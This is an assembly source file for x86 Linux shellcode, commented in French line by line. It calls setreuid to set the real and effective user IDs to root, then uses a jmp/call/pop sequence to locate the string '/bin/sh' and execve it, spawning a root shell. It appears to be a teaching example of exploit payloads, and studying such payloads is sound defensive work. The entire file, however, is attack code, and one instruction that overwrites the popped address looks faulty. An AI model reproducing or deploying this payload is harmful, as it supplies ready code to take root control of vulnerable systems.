;shellcode.asm xor eax,eax ;on mets eax à 0 mov al,70 ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid xor ebx,ebx ;real uid 0 => root xor ecx,ecx ;effective uid 0 => root int 0x80 ;Syscall 70 jmp chaine ;On va au label retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx xor eax,eax ;on mets 0 dans eax mov ebx,cheminshell ;on mets l'adresse de cheminshell dans ebx mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne ;en fait, on réécrit le 0 de la chaine avec un nul byte ;al occupe 1 byte mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début ;En fait, on réécrit aaaa par l'adresse de cheminshell mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax ;en fait, on réécrit bbbb par 0x00000000 mov al,11 ;on mets al (donc eax) à 11 pour préparer l'appel à execve lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx int 0x80 ;Syscall 11 chaine: ;label chaine où on arrive après le jump call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile cheminshell db "/bin/sh0aaaabbbb"